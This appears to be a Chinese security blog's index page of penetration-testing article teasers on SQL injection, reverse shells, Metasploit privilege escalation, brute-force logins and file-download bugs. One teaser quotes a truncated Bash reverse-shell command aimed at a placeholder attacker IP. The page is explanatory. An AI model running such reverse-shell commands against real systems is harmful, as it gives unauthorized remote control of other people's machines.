使用sql注入对某网站的一次渗透测试过程分享
该案例记录了笔者2020年渗透测试的目标网站，当时首先找到了子域名SA权限的检索型注入，认为能够顺利获得目标服务器的权限，结果在测试中遇到了很多问题。例如，我们测试了一些常用的注入软件，如果不识...
admin
渗透测试中反弹shell-nc的使用方法
反弹Shell是指渗透测试中监听某个端口，然后通过目标连接攻击机监听的端口，在攻击机反弹得到目标机的Shell。通常在目标网络有防火墙或其他因素限制，导致无法持续控制目标，成执行命令受阻等情...
BASH反弹shell在渗透过程的使用方法
使用Bash命令反弹Shell的Shell也称为终端或壳，是人与内核之间的翻译官，而Bash则是Linux中默认使用Bash反弹Shell的命令如下：bash-i˃&/dev/tcp/攻击机ip/攻击...
服务器内网渗透测试中的一些漏洞点
“知己知被，百战不殆”。在内网渗透中，想要获取更多的攻击面，那么信息收集是 必不可少的，而且信息的完整性决定了攻防渗透的结果。在内网中的资产多、服务多，收 集的敏感信息要比外网收集的多很多，下面将列举...
一次对某协会的渗透测试 暴力破解登录界面
大家好，我是小江，距离上次发表文章已经半年多了。你们志同道合的同志们，在被护网打、分手、抑云半年后，发现了自己的疲惫，重新焕发了一个21岁的年轻人在新的一年应该有的活力。新的一年写一系列新文章，希望能...
渗透测试实战中的任意文件下载漏洞挖掘与利用
从一个任意文件下载的漏洞开始说，在用户的内部网络系统中有一个系统发布之前的常规渗透测试。拿到名单后我开始了整个生活~打开系统，先看看有没有上传点，兴冲冲的找了一个圈，失望而归。但好歹还有一个下载文件的...
Metasploit渗透服务器进行提权的一些操作
一般情况下，在渗透攻击期间，我们只能获得系统的某个节点或用户权限。较低的权限级别对我们有很大的限制，难以进行横向渗透或特权攻击。如果没有主机上的管理员权限，就不可能获得哈希、安装包、修改防火墙规则和...
对校园wifi网络的一次渗透过程分享 中篇
图书馆下面有个电信营业厅。看到营业厅，我马上就明白了，整个学校的校园网都是电信负责建设和运营维护的。所以出于企业盈利的要求，校园网必需付费应用，也就是说，在浏览互联网和学校内部数据网络之前网和学校内部...
渗透工程师面试遇到的问题经历分享
小编近期报名参加了许多招聘面试，想借助这一项目将招聘面试的经过和招聘者明确提出的情况介绍一下下，与此同时复现某些招聘者的题目环境。这里有许多BUG环境在网络上都是有，因此 在这儿都没有太多的去自己复现...
渗透测试Metasploit的安装和使用
对于之前的文章，首先介绍了渗透测试的研究背景，然后介绍了Metasploit的安装和使用方法，在此基础上研究了Metasploit框架下的模块编写技术，并进行了一些测试，给出了测试结果。按...